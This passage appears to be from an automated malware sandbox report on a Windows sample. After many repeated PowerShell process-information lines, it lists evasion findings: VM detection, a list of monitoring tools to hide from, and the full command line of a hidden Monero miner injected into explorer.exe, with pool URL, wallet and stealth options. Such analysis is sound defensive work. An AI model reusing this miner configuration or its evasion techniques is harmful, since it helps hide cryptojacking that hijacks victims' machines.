            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\explorer.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\explorer.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior

            Malware Analysis System Evasion

            barindex
            Query firmware table information (likely to detect VMs)
            Source: C:\Windows\explorer.exeSystem information queried: FirmwareTableInformationJump to behavior
            Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
            Source: explorer.exe, 00000025.00000002.4112435385.0000000000893000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: TASKMGR.EXE,PROCESSHACKER.EXE,PERFMON.EXE,PROCEXP.EXE,PROCEXP64.EXEQ
            Source: explorer.exe, 00000025.00000002.4112435385.000000000091B000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000025.00000002.4112739697.0000000001222000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: PROCESSHACKER.EXE
            Source: explorer.exe, 00000025.00000003.1730339615.00000000008A0000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: TASKMGR.EXE,PROCESSHACKER.EXE,PERFMON.EXE,PROCEXP.EXE,PROCEXP64.EXEKTPFERWSJIIXSJCX
            Source: explorer.exe, 00000025.00000002.4112435385.0000000000893000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: --ALGO=RX/0 --URL=XMR-EU1.NANOPOOL.ORG:10343 --USER="87EDZY4EVB1IAWKH1VBH8TCLQFXYBPTS99XKXGC7PDGE9RJQRM38XJDSKAJMGNXK8UAJXQ7UDQRJC6DZDMRES4HAAR2FPGB.CONHOST" --PASS="" --CPU-MAX-THREADS-HINT=40 --CINIT-WINRING="USSEUPTQMHVX.SYS" --RANDOMX-NO-RDMSR --CINIT-STEALTH-TARGETS="TASKMGR.EXE,PROCESSHACKER.EXE,PERFMON.EXE,PROCEXP.EXE,PROCEXP64.EXE" --CINIT-STEALTH-FULLSCREEN --CINIT-VERSION="3.4.1" --TLS --CINIT-IDLE-WAIT=5 --CINIT-IDLE-CPU=80 --CINIT-ID="KTPFERWSJIIXSJCX"
            Source: explorer.exe, 00000025.00000002.4112435385.0000000000893000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: EXPLORER.EXE--ALGO=RX/0--URL=XMR-EU1.NANOPOOL.ORG:10343--USER=87EDZY4EVB1IAWKH1VBH8TCLQFXYBPTS99XKXGC7PDGE9RJQRM38XJDSKAJMGNXK8UAJXQ7UDQRJC6DZDMRES4HAAR2FPGB.CONHOST--PASS=--CPU-MAX-THREADS-HINT=40--CINIT-WINRING=USSEUPTQMHVX.SYS--RANDOMX-NO-RDMSR--CINIT-STEALTH-TARGETS=TASKMGR.EXE,PROCESSHACKER.EXE,PERFMON.EXE,PROCEXP.EXE,PROCEXP64.EXE--CINIT-STEALTH-FULLSCREEN--CINIT-VERSION=3.4.1--TLS--CINIT-IDLE-WAIT=5--CINIT-IDLE-CPU=80--CINIT-ID=KTPFERWSJIIXSJCX9
            Source: explorer.exe, 00000025.00000002.4112435385.0000000000893000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: --CINIT-STEALTH-TARGETS=TASKMGR.EXE,PROCESSHACKER.EXE,PERFMON.EXE,PROCEXP.EXE,PROCEXP64.EXE
            Source: explorer.exe, 00000025.00000002.4112435385.000000000091B000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: PROCESSHACKER.EXEEXT3Y
            Source: explorer.exe, 00000025.00000002.4112739697.0000000001222000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: PROCESSHACKER.EXE5
            Source: explorer.exe, 00000025.00000002.4112435385.0000000000893000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000025.00000002.4112739697.00000000011E0000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000025.00000003.1730339615.00000000008A0000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: TASKMGR.EXE,PROCESSHACKER.EXE,PERFMON.EXE,PROCEXP.EXE,PROCEXP64.EXE
            Source: explorer.exe, 00000025.00000002.4112435385.0000000000893000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: TASKMGR.EXE,PROCESSHACKER.EXE,PERFMON.EXE,PROCEXP.EXE,PROCEXP64.EXET
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 5861Jump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 3925Jump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 8033
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 1642
            Source: C:\ProgramData\xxvhgmpjxvhu\nxafyjrvtamb.exeDropped PE file which has not been started: C:\Windows\Temp\usseuptqmhvx.sysJump to dropped file
            Source: C:\Users\user\Desktop\aAcx14Rjtw.exeAPI coverage: 3.2 %
            Source: C:\ProgramData\xxvhgmpjxvhu\nxafyjrvtamb.exeAPI coverage: 3.2 %
            Source: C:\Windows\System32\conhost.exeAPI coverage: 1.2 %
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7732Thread sleep count: 5861 > 30Jump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7732Thread sleep count: 3925 > 30Jump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7780Thread sleep time: -9223372036854770s >= -30000sJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3608Thread sleep count: 8033 > 30
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6064Thread sleep count: 1642 > 30
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5672Thread sleep time: -3689348814741908s >= -30000s
            Source: C:\Windows\explorer.exe TID: 5480Thread sleep count: 102 > 30Jump to behavior
            Source: C:\Windows\explorer.exe TID: 5480Thread sleep count: 44 > 30Jump to behavior
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT Name FROM Win32_Processor
            Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
            Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
            Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
            Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
